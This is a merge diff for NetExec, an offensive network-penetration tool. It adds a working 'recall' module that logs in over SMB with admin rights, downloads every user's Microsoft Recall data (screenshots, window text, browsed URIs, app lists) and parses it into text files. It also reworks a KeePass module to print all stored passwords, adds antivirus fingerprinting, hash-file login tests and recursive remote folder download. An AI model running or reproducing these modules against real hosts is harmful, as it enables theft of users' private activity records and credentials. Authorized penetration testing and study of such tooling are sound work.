Merge branch 'main' into marshall-recall

Signed-off-by: Marshall Hallenbeck <[email protected]>

nxc/connection.py

@@ -412,12 +412,22 @@ class connection:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
                     with open(ntlm_hash) as ntlm_hash_file:
-                        for line in ntlm_hash_file:
-                            secret.append(line.strip())
-                            cred_type.append("hash")
+                        for i, line in enumerate(ntlm_hash_file):
+                            line = line.strip()
+                            if len(line) != 32 and len(line) != 65:
+                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
+                                continue
+                            else:
+                                secret.append(line)
+                                cred_type.append("hash")
                 else:
-                    secret.append(ntlm_hash)
-                    cred_type.append("hash")
+                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65:
+                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
+                        exit(1)
+                    else:
+                        secret.append(ntlm_hash)
+                        cred_type.append("hash")
+            self.logger.debug(secret)
 
         # Parse AES keys
         if self.args.aesKey:

nxc/modules/enum_av.py

@@ -247,6 +247,14 @@ conf = {
             "services": [{"name": "CSFalconService", "description": "CrowdStrike Falcon Sensor Service"}],
             "pipes": [{"name": "CrowdStrike\\{*", "processes": ["CSFalconContainer.exe", "CSFalconService.exe"]}]
         },
+        {
+            "name": "Cortex",
+            "services": [
+                {"name": "xdrhealth", "description": "Cortex XDR Health Helper"},
+                {"name": "cyserver", "description": " Cortex XDR"}
+            ],
+            "pipes": []
+        },
         {
             "name": "Cybereason",
             "services": [

nxc/modules/keepass_trigger.py

@@ -1,7 +1,5 @@
 import os
 import sys
-import json
-from xmltodict import parse
 from time import sleep
 from csv import reader
 from base64 import b64encode
@@ -381,28 +379,30 @@ class NXCModule:
         xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
         xml_tree = ElementTree.parse(xml_doc_path)
         root = xml_tree.getroot()
-        to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
-        xml_to_dict = parse(to_string)
-        dump = json.dumps(xml_to_dict)
-        obj = json.loads(dump)
 
-        if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
-                for password in obj2["String"]:
-                    if password["Key"] == "Password":
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                    else:
-                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                context.log.highlight("")
-        if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
-            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
-                try:
-                    for obj3 in obj2["Entry"]:
-                        for password in obj3["String"]:
-                            if password["Key"] == "Password":
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
-                            else:
-                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
-                        context.log.highlight("")
-                except KeyError:
-                    pass
+        root_entries = root.find("./Root/Entry")
+        if root_entries is not None:
+            for entry in root_entries:
+                if entry is not None:
+                    self.print_password(context, entry)
+                else:
+                    context.log.highlight("None")
+
+        objects = root.findall("./Root/Group")
+        while objects:
+            current_object = objects.pop(0)
+            for entry in current_object.findall("./Entry"):
+                self.print_password(context, entry)
+                for history in entry.findall("./History"):
+                    for history_entry in history.findall("./Entry"):
+                        self.print_password(context, history_entry)
+            objects.extend(current_object.findall("./Group"))
+
+    def print_password(self, context, entries):
+        for entry in entries.findall("./String"):
+            key = entry.find("./Key")
+            value = entry.find("./Value")
+            key_text = key.text if key is not None else "None"
+            value_text = value.text if value is not None and value.text is not None else "None"
+            context.log.highlight(f"{key_text} : {value_text}")
+        context.log.highlight("-------------------------------------")

nxc/modules/recall.py

@@ -0,0 +1,137 @@
+from impacket import smb, smb3
+import ntpath
+from os import rename
+from os.path import split, join, splitext, dirname, abspath
+from glob import glob
+from sqlite3 import connect
+
+class NXCModule:
+    """
+    Recall
+    -------
+    Module by @Marshall-Hallenbeck (@mjhallenbeck on Twitter)
+    Inspired by https://github.com/xaitax/TotalRecall (code my own)
+    """
+
+    name = "recall"
+    description = "Downloads Microsoft Recall folders for all users"
+    supported_protocols = ["smb"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self):
+        self.context = None
+        self.module_options = None
+
+    def options(self, context, module_options):
+        """
+        USERS           Download only specified user(s); format: -o USERS=user1,user2,user3
+        SILENT          Do not display individual file download messages; set to enable
+        """
+        self.context = context
+        self.recall_path_stub = "\\AppData\\Local\\CoreAIPlatform.00\\UKP\\"
+        self.users = module_options["USERS"] if "USERS" in module_options else None
+        self.silent = module_options["SILENT"] if "SILENT" in module_options else False
+
+
+    def on_admin_login(self, context, connection):
+        output_path = f"recall_{connection.host}"
+        context.log.debug("Getting all user Recall folders")
+        user_folders = connection.conn.listPath("C$", "\\Users\\*")
+        context.log.debug(f"User folders: {user_folders}")
+        if not user_folders:
+            self.context.log.fail("No User folders found!")
+        else:
+            context.log.display("User folder(s) found, attempting to dump Recall contents (no output means no Recall folder)")
+        
+        for user_folder in user_folders:
+            if not user_folder.is_directory():
+                continue
+            folder_name = user_folder.get_longname()
+            context.log.debug(f"{folder_name=} {self.users=}")
+            if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
+                continue
+            if self.users and folder_name not in self.users:
+                self.context.log.debug(f"Specific users are specified and {folder_name} is not one of them")
+                continue
+            
+            recall_path = ntpath.normpath(join(r"Users", folder_name, self.recall_path_stub))
+            context.log.debug(f"Checking for Recall folder {recall_path}")
+            try:
+                connection.conn.listPath("C$", recall_path)
+            except Exception:
+                context.log.debug(f"Recall folder {recall_path} not found!")
+                continue
+            user_output_dir = join(output_path, folder_name)
+            try:
+                context.log.display(f"Downloading Recall folder for user {folder_name}")
+                connection.download_folder(recall_path, user_output_dir, True)
+            except (smb.SessionError, smb3.SessionError):
+                context.log.debug(f"Folder {recall_path} not found!")
+                
+            context.log.success(f"Recall folder for user {folder_name} downloaded to {user_output_dir}")
+            self.rename_screenshots(user_output_dir)
+        
+        context.log.debug("Parsing Recall DB files...")
+        db_files = glob(f"{output_path}/*/*/ukg.db")
+        for db in db_files:
+            self.parse_recall_db(db)
+
+    def parse_recall_db(self, db_path):
+        self.context.log.debug(f"Parsing Recall database {db_path}")
+        parent = abspath(dirname(dirname(db_path)))
+        self.context.log.debug(f"Parent: {parent}")
+        conn = connect(db_path)
+        c = conn.cursor()
+
+        win_text_cap_tab = "WindowCaptureTextIndex_content"
+        joined_q = f"""
+        SELECT t1.c1, t2.c2
+        FROM {win_text_cap_tab} AS t1
+        JOIN {win_text_cap_tab} AS t2 ON t1.c0 = t2.c0
+        WHERE t1.c1 IS NOT NULL AND t2.c2 IS NOT NULL;
+        """
+        c.execute(joined_q)
+        window_content = c.fetchall()
+        with open(join(parent, "window_content.txt"), "w") as file:
+            file.writelines(f"{row[0]}, {row[1]}\n" for row in window_content)
+
+        window_q = f"SELECT c1 FROM {win_text_cap_tab} WHERE c1 IS NOT NULL;"
+        c.execute(window_q)
+        windows = c.fetchall()
+        with open(join(parent, "windows.txt"), "w") as file:
+            file.writelines(f"{row[0]}\n" for row in windows)
+
+        content_q = f"SELECT c2 FROM {win_text_cap_tab} WHERE c2 IS NOT NULL;"
+        c.execute(content_q)
+        content = c.fetchall()
+        with open(join(parent, "content.txt"), "w") as file:
+            file.writelines(f"{row[0]}\n" for row in content)
+        
+        web_tab = "Web"
+        web_q = f"""
+        SELECT Uri FROM {web_tab};
+        """
+        c.execute(web_q)
+        uris = c.fetchall()
+        with open(join(parent, "uris.txt"), "w") as file:
+            file.writelines(f"{row[0]}\n" for row in uris)
+            
+        app_tab = "App"
+        app_q = f"""
+        SELECT Name, WindowsAppId, Path FROM {app_tab};
+        """
+        c.execute(app_q)
+        apps = c.fetchall()
+        with open(join(parent, "apps.txt"), "w") as file:
+            file.writelines(f"{row[0]}, {row[1]}, {row[2]}\n" for row in apps)
+
+    
+    def rename_screenshots(self, path):
+        self.context.log.debug(f"Renaming screenshots at {path}")
+        files = glob(f"{path}/*/ImageStore/*")
+        self.context.log.debug(f"Files to rename: {files}")
+        for file in files:
+            directory, filename = split(file)
+            if not splitext(filename)[1]:
+                rename(file, join(directory, f"{filename}.jpg"))

nxc/nxcdb.py

@@ -512,6 +512,11 @@ class NXCDBMenu(cmd.Cmd):
     def do_exit(line):
         sys.exit()
 
+    @staticmethod
+    def do_EOF(line):
+        sys.exit()
+
+
     @staticmethod
     def help_exit():
         help_string = """

nxc/protocols/ldap.py

@@ -752,7 +752,7 @@ class ldap(connection):
 
             users = parse_result_attributes(resp)
             # we print the total records after we parse the results since often SearchResultReferences are returned
-            self.logger.display(f"Total records returned: {len(users):d}")
+            self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}")
             self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
             for user in users:
                 # TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module

nxc/protocols/smb.py

@@ -7,6 +7,7 @@ from Cryptodome.Hash import MD4
 
 from impacket.smbconnection import SMBConnection, SessionError
 from impacket.smb import SMB_DIALECT
+from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
 from impacket.examples.secretsdump import (
     RemoteOperations,
     SAMHashes,
@@ -147,6 +148,9 @@ class smb(connection):
     def __init__(self, args, db, host):
         self.domain = None
         self.server_os = None
+        self.server_os_major = None
+        self.server_os_minor = None
+        self.server_os_build = None
         self.os_arch = 0
         self.hash = None
         self.lmhash = ""
@@ -161,6 +165,7 @@ class smb(connection):
         self.no_da = None
         self.no_ntlm = False
         self.protocol = "SMB"
+        self.is_guest = None
 
         connection.__init__(self, args, db, host)
 
@@ -229,7 +234,19 @@ class smb(connection):
             self.domain = self.hostname
             self.targetDomain = self.hostname
 
+        # As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
+        # Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
+        # Also only on Windows we should get an OS arch as for that we would need MSRPC
         self.server_os = self.conn.getServerOS()
+        self.server_os_major = self.conn.getServerOSMajor()
+        self.server_os_minor = self.conn.getServerOSMinor()
+        self.server_os_build = self.conn.getServerOSBuild()
+        if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
+            self.server_os = "Unix - Samba"
+        elif self.server_os_build == 0 and self.os_arch == 0:
+            self.server_os = "Unix"
+        self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
+
         self.logger.extra["hostname"] = self.hostname
 
         if isinstance(self.server_os.lower(), bytes):
@@ -310,7 +327,8 @@ class smb(connection):
                 self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
 
             self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
-            self.check_if_admin()
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
 
             if username == "":
                 self.username = self.conn.getCredentials()[0]
@@ -375,8 +393,12 @@ class smb(connection):
             self.domain = domain
 
             self.conn.login(self.username, self.password, domain)
-
-            self.check_if_admin()
+            self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
+            self.is_guest = bool(self.conn.isGuestSession())
+            self.logger.debug(f"{self.is_guest=}")
+            
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
             self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
             self.db.add_credential("plaintext", domain, self.username, self.password)
             user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
@@ -384,7 +406,7 @@ class smb(connection):
 
             self.db.add_loggedin_relation(user_id, host_id)
 
-            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
             self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
@@ -444,14 +466,18 @@ class smb(connection):
                 self.nthash = nthash
 
             self.conn.login(self.username, "", domain, lmhash, nthash)
+            self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
+            self.is_guest = bool(self.conn.isGuestSession())
+            self.logger.debug(f"{self.is_guest=}")
 
-            self.check_if_admin()
-            user_id = self.db.add_credential("hash", domain, self.username, nthash)
+            if "Unix" not in self.server_os:
+                self.check_if_admin()
+            user_id = self.db.add_credential("hash", domain, self.username, self.hash)
             host_id = self.db.get_hosts(self.host)[0].id
 
             self.db.add_loggedin_relation(user_id, host_id)
 
-            out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
+            out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
             self.logger.success(out)
 
             if not self.args.local_auth and self.username != "":
@@ -531,6 +557,7 @@ class smb(connection):
         return bool(self.create_smbv1_conn() or self.create_smbv3_conn())
 
     def check_if_admin(self):
+        self.logger.debug(f"Checking if user is admin on {self.host}")
         rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
         dce = rpctransport.get_dce_rpc()
         try:
@@ -544,6 +571,7 @@ class smb(connection):
                 # 0xF003F - SC_MANAGER_ALL_ACCESS
                 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                 scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
+                self.logger.debug(f"User is admin on {self.host}!")
                 self.admin_privs = True
             except scmr.DCERPCException:
                 self.admin_privs = False
@@ -1281,25 +1309,75 @@ class smb(connection):
     def put_file(self):
         for src, dest in self.args.put_file:
             self.put_file_single(src, dest)
-
-    def get_file_single(self, remote_path, download_path):
+            
+    def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
+        try:
+            self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
+            self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
+            return True
+        except SessionError as e:
+            if "STATUS_SHARING_VIOLATION" in str(e):
+                self.logger.debug(f"Sharing violation on {remote_path}: {e}")
+            return False
+        except Exception as e:
+            self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
+            return False
+            
+    def get_file_single(self, remote_path, download_path, silent=False):
         share_name = self.args.share
-        self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
+        if not silent:
+            self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
         if self.args.append_host:
             download_path = f"{self.hostname}-{remote_path}"
         with open(download_path, "wb+") as file:
-            try:
-                self.conn.getFile(share_name, remote_path, file.write)
-                self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
-            except Exception as e:
-                self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
-                if os.path.getsize(download_path) == 0:
-                    os.remove(download_path)
-
+            if self.download_file(share_name, remote_path, file.write):
+                if not silent:
+                    self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+            else:
+                self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
+                if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
+                    if not silent:
+                        self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
+                else:
+                    if not silent:
+                        self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
+                    
     def get_file(self):
         for src, dest in self.args.get_file:
             self.get_file_single(src, dest)
+    
+    def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None):
+        normalized_folder = ntpath.normpath(folder)
+        base_folder = os.path.basename(normalized_folder)
+        self.logger.debug(f"Base folder: {base_folder}")
 
+        items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
+        self.logger.debug(f"{len(items)} items in folder: {items}")
+
+        for item in items:
+            item_name = item.get_longname()
+            if item_name not in [".", ".."]:
+                dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name))
+                if item.is_directory() and recursive:
+                    self.download_folder(dir_path, dest, silent, recursive, base_dir or folder)
+                elif not item.is_directory():
+                    remote_file_path = ntpath.join(folder, item_name)
+                    # change the Windows path to Linux and then join it with the base directory to get our actual save path
+                    relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
+                    local_folder_path = os.path.join(dest, relative_path)
+                    local_file_path = os.path.join(local_folder_path, item_name)
+                    self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
+                    
+                    os.makedirs(local_folder_path, exist_ok=True)
+                    try:
+                        self.get_file_single(remote_file_path, local_file_path, silent)
+                    except FileNotFoundError:
+                        self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
+
+    def get_folder(self):
+        recursive = self.args.recursive        
+        for folder, dest in self.args.get_folder:
+            self.download_folder(folder, dest, recursive)
 
     def enable_remoteops(self):
         try:
@@ -1774,3 +1852,6 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error calling remote_ops.finish(): {e}")
         NTDS.finish()
+
+    def mark_guest(self):
+        return highlight(f"{highlight('(Guest)')}" if self.is_guest else "")

nxc/protocols/smb/proto_args.py

@@ -65,6 +65,8 @@ def proto_args(parser, parents):
     files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
     files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
     files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
+    files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder")
     files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
     cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")

nxc/protocols/smb/samruser.py

@@ -78,10 +78,11 @@ class UserSamrDump:
         if resp2["ErrorCode"] != 0:
             raise Exception("Connect error")
 
+        domain_name = resp2["Buffer"]["Buffer"][0]["Name"]
         resp3 = samr.hSamrLookupDomainInSamServer(
             self.dce,
             serverHandle=resp["ServerHandle"],
-            name=resp2["Buffer"]["Buffer"][0]["Name"],
+            name=domain_name,
         )
         if resp3["ErrorCode"] != 0:
             raise Exception("Connect error")
@@ -132,7 +133,7 @@ class UserSamrDump:
                 # set these for the while loop
                 enumerationContext = enumerate_users_resp["EnumerationContext"]
                 status = enumerate_users_resp["ErrorCode"]
-        self.print_user_info(users)
+        self.print_user_info(users, domain_name)
         self.dce.disconnect()
 
     def get_user_info(self, domain_handle, user_ids):
@@ -165,7 +166,8 @@ class UserSamrDump:
             samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
         return users
 
-    def print_user_info(self, users):
+    def print_user_info(self, users, domain_name):
+        self.logger.display(f"Enumerated {len(users):d} local users: {domain_name}")
         self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
         for user in users:
             self.logger.debug(f"Full user info: {user}")

tests/data/test_hashes.txt

@@ -0,0 +1,6 @@
+DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+DEADBEEFDEADBEEFDEADBEEFDEADBEEF:DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+TooShort
+ToooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooLong
+fc525c9683e8fe067095ba2ddc971889
+aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889

tests/e2e_commands.txt

@@ -129,6 +129,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M webdav -
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M recall -o USERS=Administrator,User SILENT=True
 # test for multiple modules at once
 netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M dfscoerce -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M shadowcoerce -M uac -M webdav -M wifi
 ##### SMB Anonymous Auth
@@ -137,7 +140,10 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
 ##### SMB Auth File
 netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
 netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
-netexec smb TARGET_HOST -u TEST_USER_FILE -p tests/data/test_passwords.txt
+netexec smb TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
+##### SMB Hash File
+netexec smb TARGET_HOST -u LOGIN_USERNAME -H tests/data/test_hashes.txt
+netexec smb TARGET_HOST -u TEST_USER_FILE -H tests/data/test_hashes.txt
 ##### WMI
 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2